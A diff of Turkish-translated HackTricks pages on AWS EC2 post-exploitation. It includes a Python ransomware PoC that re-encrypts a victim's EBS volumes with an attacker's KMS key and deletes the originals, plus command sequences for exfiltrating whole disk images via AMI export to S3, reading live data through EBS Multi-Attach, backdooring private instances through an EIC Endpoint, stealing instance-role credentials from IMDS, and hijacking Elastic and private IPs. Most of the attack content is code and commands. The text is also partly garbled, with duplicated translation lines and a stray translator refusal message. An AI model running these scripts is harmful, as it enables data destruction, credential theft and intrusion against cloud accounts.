Öncelikle bir 'saldırgan' AWS hesabından KMS'de bir müşteri yönetimli anahtar oluşturun. Bu örnek için, AWS'nin anahtar verilerini benim için yönetmesine izin vereceğiz, ancak gerçek bir senaryoda kötü niyetli bir aktör anahtar verilerini AWS'nin kontrolü dışında tutar. Anahtar politikasını, herhangi bir AWS hesabı Prensipinin anahtarı kullanmasına izin verecek şekilde değiştirin. Bu anahtar politikası için, hesabın adı 'AttackSim' ve tüm erişime izin veren politika kuralı 'Outside Encryption' olarak adlandırılmıştır.
|
||||
İlk olarak 'attacker' AWS hesabından KMS içinde bir customer managed key oluşturun. Bu örnekte anahtar verilerini AWS'in benim için yönetmesine izin vereceğiz, ancak gerçekçi bir senaryoda bir malicious actor anahtar verilerini AWS'in kontrolü dışında tutardı. Key policy'yi herhangi bir AWS account Principal'ının anahtarı kullanmasına izin verecek şekilde değiştirin. Bu key policy için, hesabın adı 'AttackSim' idi ve tüm erişime izin veren policy kuralı 'Outside Encryption' olarak adlandırıldı.
|
||||
```
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -272,7 +337,7 @@ S3 post-exploitation notlarında gösterilen Ransomware demonstrasyonuna benzer
|
||||
]
|
||||
}
|
||||
```
|
||||
Anahtar politika kuralının, bir EBS hacmini şifrelemek için kullanılabilmesi adına aşağıdakilerin etkinleştirilmesi gerekir:
|
||||
The key policy kuralının bir EBS hacmini şifrelemek için kullanılabilmesine izin vermek üzere aşağıdakilerin etkinleştirilmiş olması gerekir:
|
||||
|
||||
- `kms:CreateGrant`
|
||||
- `kms:Decrypt`
|
||||
@@ -280,21 +345,21 @@ Anahtar politika kuralının, bir EBS hacmini şifrelemek için kullanılabilmes
|
||||
- `kms:GenerateDataKeyWithoutPlainText`
|
||||
- `kms:ReEncrypt`
|
||||
|
||||
Artık kullanılacak kamuya açık anahtar ile. Şifrelenmemiş EBS hacimleri ekli bazı EC2 örnekleri olan bir 'kurban' hesabı kullanabiliriz. Bu 'kurban' hesabın EBS hacimleri, şifreleme hedefimizdir; bu saldırı, yüksek ayrıcalıklı bir AWS hesabının ihlal edildiği varsayımı altında gerçekleştirilmektedir.
|
||||
Artık kullanılabilecek halka açık erişimli bir key bulundu. 'victim' hesabını kullanabiliriz; bu hesapta şifrelenmemiş EBS hacimleri bağlı EC2 instance'ları bulunuyor. Bu 'victim' hesabın EBS hacimleri hedefimizdir; bu saldırı yüksek ayrıcalıklı bir AWS hesabının varsayılan ihlali altında gerçekleştirilmektedir.
|
||||
|
||||
 
|
||||
|
||||
S3 fidye yazılımı örneğine benzer şekilde. Bu saldırı, ekli EBS hacimlerinin kopyalarını anlık görüntüler kullanarak oluşturacak, 'saldırgan' hesabından kamuya açık anahtarı kullanarak yeni EBS hacimlerini şifreleyecek, ardından orijinal EBS hacimlerini EC2 örneklerinden ayıracak ve silecek, ve son olarak yeni şifrelenmiş EBS hacimlerini oluşturmak için kullanılan anlık görüntüleri silecektir. 
|
||||
S3 ransomware örneğine benzer şekilde. Bu saldırı, bağlı EBS hacimlerinin snapshot'larını alarak kopyalarını oluşturacak, 'attacker' hesabındaki halka açık key'i kullanarak yeni EBS hacimlerini şifreleyecek, ardından orijinal EBS hacimlerini EC2 instance'larından ayırıp silecek ve son olarak yeni şifrelenmiş EBS hacimlerini oluşturmak için kullanılan snapshot'ları silecektir. 
|
||||
|
||||
Bu, hesapta yalnızca şifrelenmiş EBS hacimlerinin kalmasıyla sonuçlanır.
|
||||
Sonuç olarak hesapta yalnızca şifrelenmiş EBS hacimleri kalır.
|
||||
|
||||

|
||||
|
||||
Ayrıca, scriptin EC2 örneklerini durdurduğunu ve orijinal EBS hacimlerini ayırıp sildiğini belirtmekte fayda var. Orijinal şifrelenmemiş hacimler artık yok.
|
||||
Ayrıca belirtmek gerekir ki script, orijinal EBS hacimlerini ayırıp silmek için EC2 instance'larını durdurdu. Orijinal şifrelenmemiş hacimler artık yok.
|
||||
|
||||

|
||||
|
||||
Sonraki adım, 'saldırgan' hesabındaki anahtar politikasına geri dönmek ve anahtar politikasından 'Dışarıda Şifreleme' politika kuralını kaldırmaktır.
|
||||
Son olarak, 'attacker' hesabındaki key policy'ye geri dönün ve key policy'den 'Outside Encryption' policy kuralını kaldırın.
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
@@ -365,15 +430,15 @@ Sonraki adım, 'saldırgan' hesabındaki anahtar politikasına geri dönmek ve a
|
||||
]
|
||||
}
|
||||
```
|
||||
Biraz bekleyin, yeni ayarlanan anahtar politikasının yayılmasını bekleyin. Ardından 'kurban' hesabına geri dönün ve yeni şifrelenmiş EBS hacimlerinden birini eklemeyi deneyin. Hacmi ekleyebildiğinizi göreceksiniz.
|
||||
Yeni ayarlanan key policy'nin yayılması için bir süre bekleyin. Ardından 'victim' hesabına geri dönün ve yeni şifrelenmiş EBS hacimlerinden birini eklemeyi deneyin. Hacmi ekleyebildiğinizi göreceksiniz.
|
||||
|
||||
 
|
||||
|
||||
Ancak şifrelenmiş EBS hacmi ile EC2 örneğini gerçekten başlatmayı denediğinizde, sadece başarısız olacak ve 'pending' durumundan 'stopped' durumuna sonsuza dek geri dönecektir, çünkü ekli EBS hacmi anahtar kullanılarak şifresi çözülemez, çünkü anahtar politikası artık buna izin vermiyor.
|
||||
Ancak şifrelenmiş EBS hacmiyle EC2 instance'ını gerçekten yeniden başlatmayı denediğinizde işlem başarısız olur ve bağlı EBS hacmi anahtar kullanılarak çözülemediği için instance 'pending' durumundan tekrar 'stopped' durumuna döner.
|
||||
|
||||
 
|
||||
|
||||
Bu, kullanılan python betiğidir. 'Kurban' hesabı için AWS kimlik bilgilerini ve şifreleme için kullanılacak anahtarın kamuya açık AWS ARN değerini alır. Betik, hedeflenen AWS hesabındaki Tüm EC2 örneklerine bağlı Tüm mevcut EBS hacimlerinin şifrelenmiş kopyalarını oluşturacak, ardından her EC2 örneğini durduracak, orijinal EBS hacimlerini ayıracak, silecek ve nihayetinde süreçte kullanılan tüm anlık görüntüleri silecektir. Bu, yalnızca hedef 'kurban' hesabında şifrelenmiş EBS hacimleri bırakacaktır. BU BETİĞİ SADECE BİR TEST ORTAMINDA KULLANIN, YIKICI VE TÜM ORİJİNAL EBS HACİMLERİNİ SİLECEKTİR. Kullanılan KMS anahtarını kullanarak bunları geri alabilir ve anlık görüntüler aracılığıyla orijinal durumlarına geri yükleyebilirsiniz, ancak bunun bir fidye yazılımı PoC'si olduğunu bilmenizi isterim.
|
||||
Bu kullanılan python script'idir. Script, 'victim' hesabı için AWS kimlik bilgilerini ve şifreleme için kullanılacak anahtarın kamuya açık bir AWS ARN değerini alır. Script, hedef AWS hesabındaki TÜM EC2 instance'lara bağlı TÜM mevcut EBS hacimlerinin şifrelenmiş kopyalarını oluşturacak, ardından her EC2 instance'ını durduracak, orijinal EBS hacimlerini ayıracak, silecek ve süreçte kullanılan tüm snapshot'ları son olarak silecektir. Bu, hedef 'victim' hesabında yalnızca şifrelenmiş EBS hacimlerinin kalmasına neden olacaktır. BU SCRIPTİ SADECE BİR TEST ORTAMINDA KULLANIN, YIKICIDIR VE TÜM ORİJİNAL EBS HACİMLERİNİ SİLECEKTİR. Kullanılan KMS anahtarıyla bunları kurtarabilir ve snapshot'lar aracılığıyla orijinal hallerine geri döndürebilirsiniz, fakat günün sonunda bunun bir ransomware PoC olduğunu bilmenizi istiyoruz.
|
||||
```
|
||||
import boto3
|
||||
import argparse
|
||||
@@ -490,8 +555,8 @@ delete_snapshots(ec2_client, snapshot_ids)
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
## Referanslar
|
||||
## Kaynaklar
|
||||
|
||||
- [Pentest Partners – AWS'de SSM kullanarak dosya transferi nasıl yapılır](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
- [Pentest Partners – How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+137
@@ -0,0 +1,137 @@
|
||||
# AWS – Covert Disk Exfiltration via AMI Store-to-S3 (CreateStoreImageTask)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Özet
|
||||
EC2 AMI export-to-S3 özelliğini kötüye kullanarak bir EC2 instance'ının tüm diskini S3'te tek bir raw imaj olarak dışa aktarın, ardından bunu harici bir kanal üzerinden indirin. Bu, snapshot paylaşımını önler ve her AMI için tek bir obje üretir.
|
||||
|
||||
## Gereksinimler
|
||||
- EC2: `ec2:CreateImage`, `ec2:CreateStoreImageTask`, `ec2:DescribeStoreImageTasks` hedef instance/AMI üzerinde
|
||||
- S3 (aynı Region): `s3:PutObject`, `s3:GetObject`, `s3:ListBucket`, `s3:AbortMultipartUpload`, `s3:PutObjectTagging`, `s3:GetBucketLocation`
|
||||
- KMS decrypt yetkisi, AMI snapshot'larını koruyan anahtar üzerinde (EBS default encryption etkinse)
|
||||
- vmie.amazonaws.com servis principal'ına güvenen bir S3 bucket politikası (aşağıya bakın)
|
||||
|
||||
## Etkiler
|
||||
- Snapshot paylaşımı veya hesaplar arası kopyalama olmadan, instance root diskinin S3'te tam çevrimdışı (offline) olarak elde edilmesi.
|
||||
- Dışa aktarılan raw imaj üzerinden kimlik bilgileri, konfigürasyon ve dosya sistemi içeriği üzerinde gizli adli inceleme (stealth forensics) yapılmasına olanak sağlar.
|
||||
|
||||
## AMI Store-to-S3 ile Nasıl Dışa Aktarılır
|
||||
|
||||
- Notlar:
|
||||
- S3 bucket, AMI ile aynı Region'da olmalıdır.
|
||||
- `us-east-1` bölgesinde `create-bucket` komutu `--create-bucket-configuration` içermemelidir.
|
||||
- `--no-reboot`, instance'ı durdurmadan crash-consistent bir imaj oluşturur (daha gizli ama daha az tutarlı).
|
||||
|
||||
<details>
|
||||
<summary>Adım adım komutlar</summary>
|
||||
```bash
|
||||
# Vars
|
||||
REGION=us-east-1
|
||||
INSTANCE_ID=<i-victim>
|
||||
BUCKET=exfil-ami-$(date +%s)-$RANDOM
|
||||
|
||||
# 1) Create S3 bucket (same Region)
|
||||
if [ "$REGION" = "us-east-1" ]; then
|
||||
aws s3api create-bucket --bucket "$BUCKET" --region "$REGION"
|
||||
else
|
||||
aws s3api create-bucket --bucket "$BUCKET" --create-bucket-configuration LocationConstraint=$REGION --region "$REGION"
|
||||
fi
|
||||
|
||||
# 2) (Recommended) Bucket policy to allow VMIE service to write the object
|
||||
ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
cat > /tmp/bucket-policy.json <<POL
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "AllowVMIEPut",
|
||||
"Effect": "Allow",
|
||||
"Principal": {"Service": "vmie.amazonaws.com"},
|
||||
"Action": [
|
||||
"s3:PutObject", "s3:AbortMultipartUpload", "s3:ListBucket",
|
||||
"s3:GetBucketLocation", "s3:GetObject", "s3:PutObjectTagging"
|
||||
],
|
||||
"Resource": [
|
||||
"arn:aws:s3:::$BUCKET",
|
||||
"arn:aws:s3:::$BUCKET/*"
|
||||
],
|
||||
"Condition": {
|
||||
"StringEquals": {"aws:SourceAccount": "$ACCOUNT_ID"},
|
||||
"ArnLike": {"aws:SourceArn": "arn:aws:ec2:$REGION:$ACCOUNT_ID:image/ami-*"}
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
POL
|
||||
aws s3api put-bucket-policy --bucket "$BUCKET" --policy file:///tmp/bucket-policy.json
|
||||
|
||||
# 3) Create an AMI of the victim (stealthy: do not reboot)
|
||||
AMI_ID=$(aws ec2 create-image --instance-id "$INSTANCE_ID" --name exfil-$(date +%s) --no-reboot --region "$REGION" --query ImageId --output text)
|
||||
|
||||
# 4) Wait until the AMI is available
|
||||
aws ec2 wait image-available --image-ids "$AMI_ID" --region "$REGION"
|
||||
|
||||
# 5) Store the AMI to S3 as a single object (raw disk image)
|
||||
OBJKEY=$(aws ec2 create-store-image-task --image-id "$AMI_ID" --bucket "$BUCKET" --region "$REGION" --query ObjectKey --output text)
|
||||
|
||||
echo "Object in S3: s3://$BUCKET/$OBJKEY"
|
||||
|
||||
# 6) Poll the task until it completes
|
||||
until [ "$(aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
|
||||
--query StoreImageTaskResults[0].StoreTaskState --output text)" = "Completed" ]; do
|
||||
aws ec2 describe-store-image-tasks --image-ids "$AMI_ID" --region "$REGION" \
|
||||
--query StoreImageTaskResults[0].StoreTaskState --output text
|
||||
sleep 10
|
||||
done
|
||||
|
||||
# 7) Prove access to the exported image (download first 1MiB)
|
||||
aws s3api head-object --bucket "$BUCKET" --key "$OBJKEY" --region "$REGION"
|
||||
aws s3api get-object --bucket "$BUCKET" --key "$OBJKEY" --range bytes=0-1048575 /tmp/ami.bin --region "$REGION"
|
||||
ls -l /tmp/ami.bin
|
||||
|
||||
# 8) Cleanup (deregister AMI, delete snapshots, object & bucket)
|
||||
aws ec2 deregister-image --image-id "$AMI_ID" --region "$REGION"
|
||||
for S in $(aws ec2 describe-images --image-ids "$AMI_ID" --region "$REGION" \
|
||||
--query Images[0].BlockDeviceMappings[].Ebs.SnapshotId --output text); do
|
||||
aws ec2 delete-snapshot --snapshot-id "$S" --region "$REGION"
|
||||
done
|
||||
aws s3 rm "s3://$BUCKET/$OBJKEY" --region "$REGION"
|
||||
aws s3 rb "s3://$BUCKET" --force --region "$REGION"
|
||||
```
|
||||
</details>
|
||||
|
||||
## Kanıt Örneği
|
||||
|
||||
- `describe-store-image-tasks` geçişleri:
|
||||
```text
|
||||
InProgress
|
||||
Completed
|
||||
```
|
||||
- S3 nesne meta verisi (örnek):
|
||||
```json
|
||||
{
|
||||
"AcceptRanges": "bytes",
|
||||
"LastModified": "2025-10-08T01:31:46+00:00",
|
||||
"ContentLength": 399768709,
|
||||
"ETag": "\"c84d216455b3625866a58edf294168fd-24\"",
|
||||
"ContentType": "application/octet-stream",
|
||||
"ServerSideEncryption": "AES256",
|
||||
"Metadata": {
|
||||
"ami-name": "exfil-1759887010",
|
||||
"ami-owner-account": "<account-id>",
|
||||
"ami-store-date": "2025-10-08T01:31:45Z"
|
||||
}
|
||||
}
|
||||
```
|
||||
- Kısmi indirme, nesne erişimini kanıtlar:
|
||||
```bash
|
||||
ls -l /tmp/ami.bin
|
||||
# -rw-r--r-- 1 user wheel 1048576 Oct 8 03:32 /tmp/ami.bin
|
||||
```
|
||||
## Gerekli IAM İzinleri
|
||||
|
||||
- EC2: `CreateImage`, `CreateStoreImageTask`, `DescribeStoreImageTasks`
|
||||
- S3 (export bucket üzerinde): `PutObject`, `GetObject`, `ListBucket`, `AbortMultipartUpload`, `PutObjectTagging`, `GetBucketLocation`
|
||||
- KMS: Eğer AMI snapshots şifreliyse, snapshot'lar tarafından kullanılan EBS KMS anahtarı için decrypt izni verin
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+77
@@ -0,0 +1,77 @@
|
||||
# AWS - Live Data Theft via EBS Multi-Attach
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Özet
|
||||
EBS Multi-Attach'i kötüye kullanarak aynı Availability Zone (AZ) içindeki saldırgan kontrollü bir instance'a aynı io1/io2 veri volume'unu bağlayıp canlı verileri okuyun. Paylaşılan volume'u salt-okunur olarak mount etmek, snapshot oluşturmadan kullanımda olan dosyalara anında erişim sağlar.
|
||||
|
||||
## Gereksinimler
|
||||
- Hedef volume: saldırgan instance ile aynı AZ'de `--multi-attach-enabled` ile oluşturulmuş io1 veya io2.
|
||||
- İzinler: hedef volume/instance'lar üzerinde `ec2:AttachVolume`, `ec2:DescribeVolumes`, `ec2:DescribeInstances`.
|
||||
- Altyapı: Multi-Attach'i destekleyen Nitro-based instance types (C5/M5/R5 aileleri, vb.).
|
||||
|
||||
## Notlar
|
||||
- Salt-okunur olarak `-o ro,noload` ile mount ederek bozulma riskini azaltın ve journal replay'lerini önleyin.
|
||||
- Nitro instance'larda EBS NVMe cihazı kararlı bir `/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_vol...` yolu sunar (aşağıda yardımcı betik).
|
||||
|
||||
## Prepare a Multi-Attach io2 volume and attach to victim
|
||||
|
||||
Örnek (`us-east-1a`'da oluşturup hedefe bağlama):
|
||||
```bash
|
||||
AZ=us-east-1a
|
||||
# Create io2 volume with Multi-Attach enabled
|
||||
VOL_ID=$(aws ec2 create-volume \
|
||||
--size 10 \
|
||||
--volume-type io2 \
|
||||
--iops 1000 \
|
||||
--availability-zone $AZ \
|
||||
--multi-attach-enabled \
|
||||
--tag-specifications 'ResourceType=volume,Tags=[{Key=Name,Value=multi-shared}]' \
|
||||
--query 'VolumeId' --output text)
|
||||
|
||||
# Attach to victim instance
|
||||
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $VICTIM_INSTANCE --device /dev/sdf
|
||||
```
|
||||
Hedefte, yeni volume'ü formatla/bağla ve hassas verileri yaz (örnek):
|
||||
```bash
|
||||
VOLNOHYP="vol${VOL_ID#vol-}"
|
||||
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
|
||||
sudo mkfs.ext4 -F "$DEV"
|
||||
sudo mkdir -p /mnt/shared
|
||||
sudo mount "$DEV" /mnt/shared
|
||||
echo 'secret-token-ABC123' | sudo tee /mnt/shared/secret.txt
|
||||
sudo sync
|
||||
```
|
||||
## Aynı volume'u attacker instance'a bağlayın
|
||||
```bash
|
||||
aws ec2 attach-volume --volume-id $VOL_ID --instance-id $ATTACKER_INSTANCE --device /dev/sdf
|
||||
```
|
||||
## attacker üzerinde read-only mount yap ve verileri oku
|
||||
```bash
|
||||
VOLNOHYP="vol${VOL_ID#vol-}"
|
||||
DEV="/dev/disk/by-id/nvme-Amazon_Elastic_Block_Store_${VOLNOHYP}"
|
||||
sudo mkdir -p /mnt/steal
|
||||
sudo mount -o ro,noload "$DEV" /mnt/steal
|
||||
sudo cat /mnt/steal/secret.txt
|
||||
```
|
||||
Beklenen sonuç: Aynı `VOL_ID` birden fazla `Attachments` (victim and attacker) gösterir ve attacker, victim tarafından yazılmış dosyaları herhangi bir snapshot oluşturmadan okuyabilir.
|
||||
```bash
|
||||
aws ec2 describe-volumes --volume-ids $VOL_ID \
|
||||
--query 'Volumes[0].Attachments[*].{InstanceId:InstanceId,State:State,Device:Device}'
|
||||
```
|
||||
<details>
|
||||
<summary>Yardımcı: NVMe aygıt yolunu Volume ID ile bul</summary>
|
||||
|
||||
Nitro instances üzerinde, Volume ID'yi gömen kararlı by-id yolunu kullanın ( `vol`'dan sonraki tireyi kaldırın):
|
||||
```bash
|
||||
VOLNOHYP="vol${VOL_ID#vol-}"
|
||||
ls -l /dev/disk/by-id/ | grep "$VOLNOHYP"
|
||||
# -> nvme-Amazon_Elastic_Block_Store_volXXXXXXXX...
|
||||
```
|
||||
</details>
|
||||
|
||||
## Etkiler
|
||||
- Hedef EBS hacmindeki canlı verilere, snapshots oluşturmadan anında okuma erişimi.
|
||||
- Eğer read-write olarak bağlanmışsa, saldırgan kurbanın dosya sistemine müdahale edebilir (bozulma riski).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+113
@@ -0,0 +1,113 @@
|
||||
# AWS - EC2 Instance Connect Endpoint arka kapı + geçici SSH anahtarı enjeksiyonu
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
EC2 Instance Connect Endpoint (EIC Endpoint)'i kötüye kullanarak public IP/bastion olmayan özel EC2 instance'lara gelen SSH erişimi elde etme:
|
||||
- Hedef subnet içinde bir EIC Endpoint oluşturma
|
||||
- Hedef SG'de EIC Endpoint SG'den gelen inbound SSH'ye izin verme
|
||||
- `ec2-instance-connect:SendSSHPublicKey` ile kısa ömürlü (~60 saniye geçerli) bir SSH açık anahtarını enjekte etme
|
||||
- EIC tüneli açıp instance'a pivot yaparak IMDS'den instance profile kimlik bilgilerini çalma
|
||||
|
||||
Impact: bastion'ları ve public IP kısıtlamalarını atlayan, özel EC2 instance'lara gizli bir uzak erişim yolu. Saldırgan instance profile'ı üstlenebilir ve hesapta işlem yapabilir.
|
||||
|
||||
## Requirements
|
||||
- İzinler:
|
||||
- `ec2:CreateInstanceConnectEndpoint`, `ec2:Describe*`, `ec2:AuthorizeSecurityGroupIngress`
|
||||
- `ec2-instance-connect:SendSSHPublicKey`, `ec2-instance-connect:OpenTunnel`
|
||||
- Hedef Linux instance: SSH sunucusu ve EC2 Instance Connect etkin (Amazon Linux 2 veya Ubuntu 20.04+). Varsayılan kullanıcılar: `ec2-user` (AL2) veya `ubuntu` (Ubuntu).
|
||||
|
||||
## Değişkenler
|
||||
```bash
|
||||
export REGION=us-east-1
|
||||
export INSTANCE_ID=<i-xxxxxxxxxxxx>
|
||||
export SUBNET_ID=<subnet-xxxxxxxx>
|
||||
export VPC_ID=<vpc-xxxxxxxx>
|
||||
export TARGET_SG_ID=<sg-of-target-instance>
|
||||
export ENDPOINT_SG_ID=<sg-for-eic-endpoint>
|
||||
# OS user for SSH (ec2-user for AL2, ubuntu for Ubuntu)
|
||||
export OS_USER=ec2-user
|
||||
```
|
||||
## EIC Endpoint Oluştur
|
||||
```bash
|
||||
aws ec2 create-instance-connect-endpoint \
|
||||
--subnet-id "$SUBNET_ID" \
|
||||
--security-group-ids "$ENDPOINT_SG_ID" \
|
||||
--tag-specifications 'ResourceType=instance-connect-endpoint,Tags=[{Key=Name,Value=Backdoor-EIC}]' \
|
||||
--region "$REGION" \
|
||||
--query 'InstanceConnectEndpoint.InstanceConnectEndpointId' --output text | tee EIC_ID
|
||||
|
||||
# Wait until ready
|
||||
while true; do
|
||||
aws ec2 describe-instance-connect-endpoints \
|
||||
--instance-connect-endpoint-ids "$(cat EIC_ID)" --region "$REGION" \
|
||||
--query 'InstanceConnectEndpoints[0].State' --output text | tee EIC_STATE
|
||||
grep -q 'create-complete' EIC_STATE && break
|
||||
sleep 5
|
||||
done
|
||||
```
|
||||
## EIC Endpoint'ten hedef instance'a trafiğe izin verin
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress \
|
||||
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
|
||||
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
|
||||
```
|
||||
## Geçici SSH anahtarını enjekte et ve tünel aç
|
||||
```bash
|
||||
# Generate throwaway key
|
||||
ssh-keygen -t ed25519 -f /tmp/eic -N ''
|
||||
|
||||
# Send short-lived SSH pubkey (valid ~60s)
|
||||
aws ec2-instance-connect send-ssh-public-key \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-os-user "$OS_USER" \
|
||||
--ssh-public-key file:///tmp/eic.pub \
|
||||
--region "$REGION"
|
||||
|
||||
# Open a local tunnel to instance:22 via the EIC Endpoint
|
||||
aws ec2-instance-connect open-tunnel \
|
||||
--instance-id "$INSTANCE_ID" \
|
||||
--instance-connect-endpoint-id "$(cat EIC_ID)" \
|
||||
--local-port 2222 --remote-port 22 --region "$REGION" &
|
||||
TUN_PID=$!; sleep 2
|
||||
|
||||
# SSH via the tunnel (within the 60s window)
|
||||
ssh -i /tmp/eic -p 2222 "$OS_USER"@127.0.0.1 -o StrictHostKeyChecking=no
|
||||
```
|
||||
## Post-exploitation kanıtı (steal instance profile credentials)
|
||||
```bash
|
||||
# From the shell inside the instance
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ | tee ROLE
|
||||
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/$(cat ROLE)
|
||||
```
|
||||
Dosya içeriği sağlanmadan çeviri yapamam. Lütfen çevirmemi istediğiniz metni (veya dosya içeriğini) buraya yapıştırın — tüm dosyayı mı yoksa belirli bölümleri mi çevirmemi istediğinizi belirtin.
|
||||
```json
|
||||
{
|
||||
"Code": "Success",
|
||||
"AccessKeyId": "ASIA...",
|
||||
"SecretAccessKey": "w0G...",
|
||||
"Token": "IQoJ...",
|
||||
"Expiration": "2025-10-08T04:09:52Z"
|
||||
}
|
||||
```
|
||||
Çalınan kimlik bilgilerini yerel olarak kullanarak kimliği doğrulayın:
|
||||
```bash
|
||||
export AWS_ACCESS_KEY_ID=<AccessKeyId>
|
||||
export AWS_SECRET_ACCESS_KEY=<SecretAccessKey>
|
||||
export AWS_SESSION_TOKEN=<Token>
|
||||
aws sts get-caller-identity --region "$REGION"
|
||||
# => arn:aws:sts::<ACCOUNT_ID>:assumed-role/<InstanceRoleName>/<InstanceId>
|
||||
```
|
||||
## Temizleme
|
||||
```bash
|
||||
# Revoke SG ingress on the target
|
||||
aws ec2 revoke-security-group-ingress \
|
||||
--group-id "$TARGET_SG_ID" --protocol tcp --port 22 \
|
||||
--source-group "$ENDPOINT_SG_ID" --region "$REGION" || true
|
||||
|
||||
# Delete EIC Endpoint
|
||||
aws ec2 delete-instance-connect-endpoint \
|
||||
--instance-connect-endpoint-id "$(cat EIC_ID)" --region "$REGION"
|
||||
```
|
||||
> Notlar
|
||||
> - Enjekte edilen SSH anahtarı yalnızca ~60 saniye geçerlidir; tüneli/SSH'yi açmadan hemen önce anahtarı gönderin.
|
||||
> - `OS_USER` AMI ile eşleşmelidir (örn. `ubuntu` için Ubuntu, `ec2-user` için Amazon Linux 2).
|
||||
+52
@@ -0,0 +1,52 @@
|
||||
# AWS - Elastic IP Hijack for Ingress/Egress IP Impersonation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Özet
|
||||
|
||||
Abuse `ec2:AssociateAddress` (ve isteğe bağlı olarak `ec2:DisassociateAddress`) kullanarak bir Elastic IP (EIP)'yi kurban instance/ENI'den saldırgan instance/ENI'ye yeniden ilişkilendirin. Bu, EIP'ye yönelen gelen trafiği saldırgana yönlendirir ve ayrıca saldırganın izin verilen genel IP ile giden trafik başlatmasına izin vererek harici ortakların güvenlik duvarlarını atlamasını sağlar.
|
||||
|
||||
## Önkoşullar
|
||||
- Hedef EIP allocation ID aynı hesap/VPC içinde.
|
||||
- Kontrolünüzde olan attacker instance/ENI.
|
||||
- İzinler:
|
||||
- `ec2:DescribeAddresses`
|
||||
- `ec2:AssociateAddress` EIP allocation-id ve attacker instance/ENI üzerinde
|
||||
- `ec2:DisassociateAddress` (isteğe bağlı). Not: `--allow-reassociation` önceki ilişkilendirmeyi otomatik olarak kaldırır.
|
||||
|
||||
## Saldırı
|
||||
|
||||
Değişkenler
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
ATTACKER_INSTANCE=<i-attacker>
|
||||
VICTIM_INSTANCE=<i-victim>
|
||||
```
|
||||
1) Kurbanın EIP'sini ayırın veya tespit edin (lab yeni bir tane ayırır ve kurbana iliştirir)
|
||||
```bash
|
||||
ALLOC_ID=$(aws ec2 allocate-address --domain vpc --region $REGION --query AllocationId --output text)
|
||||
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $VICTIM_INSTANCE --region $REGION
|
||||
EIP=$(aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION --query Addresses[0].PublicIp --output text)
|
||||
```
|
||||
2) EIP'in şu anda victim service'e çözüldüğünü doğrulayın (örnek: banner kontrolleri)
|
||||
```bash
|
||||
curl -sS http://$EIP | grep -i victim
|
||||
```
|
||||
3) EIP'yi attacker'a yeniden ilişkilendir (victim'den otomatik ayrılır)
|
||||
```bash
|
||||
aws ec2 associate-address --allocation-id $ALLOC_ID --instance-id $ATTACKER_INSTANCE --allow-reassociation --region $REGION
|
||||
```
|
||||
4) EIP'nin artık attacker servisine çözüldüğünü doğrulayın
|
||||
```bash
|
||||
sleep 5; curl -sS http://$EIP | grep -i attacker
|
||||
```
|
||||
Delil (taşınmış ilişkilendirme):
|
||||
```bash
|
||||
aws ec2 describe-addresses --allocation-ids $ALLOC_ID --region $REGION \
|
||||
--query Addresses[0].AssociationId --output text
|
||||
```
|
||||
## Etki
|
||||
- Inbound impersonation: Hijacked EIP'ye gelen tüm trafik attacker instance/ENI'ye yönlendirilir.
|
||||
- Outbound impersonation: Attacker, allowlisted public IP'ten geliyormuş gibi görünen trafiği başlatabilir (partner/dış kaynak IP filtrelerini atlatmak için kullanışlı).
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
+50
@@ -0,0 +1,50 @@
|
||||
# AWS – EC2 ENI Secondary Private IP Hijack (Trust/Allowlist Bypass)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
`ec2:UnassignPrivateIpAddresses` ve `ec2:AssignPrivateIpAddresses` izinlerini kötüye kullanarak hedef ENI’nin ikincil özel IP’sini çalın ve aynı subnet/AZ içindeki saldırgan ENI’ye taşıyın. Birçok iç hizmet ve security groups erişimi belirli özel IP’lerle kısıtlar. Bu ikincil adresi taşıyarak saldırgan L3 düzeyinde güvenilen ana makineyi taklit eder ve izin verilmiş hizmetlere erişebilir.
|
||||
|
||||
Önkoşullar:
|
||||
- İzinler: `ec2:DescribeNetworkInterfaces`, `ec2:UnassignPrivateIpAddresses` hedef ENI ARN üzerinde, ve `ec2:AssignPrivateIpAddresses` saldırgan ENI ARN üzerinde.
|
||||
- Her iki ENI de aynı subnet/AZ içinde olmalıdır. Hedef adres bir ikincil IP olmalıdır (primary IP kaldırılamaz).
|
||||
|
||||
Değişkenler:
|
||||
- REGION=us-east-1
|
||||
- VICTIM_ENI=<eni-xxxxxxxx>
|
||||
- ATTACKER_ENI=<eni-yyyyyyyy>
|
||||
- PROTECTED_SG=<sg-protected> # SG on a target service that allows only $HIJACK_IP
|
||||
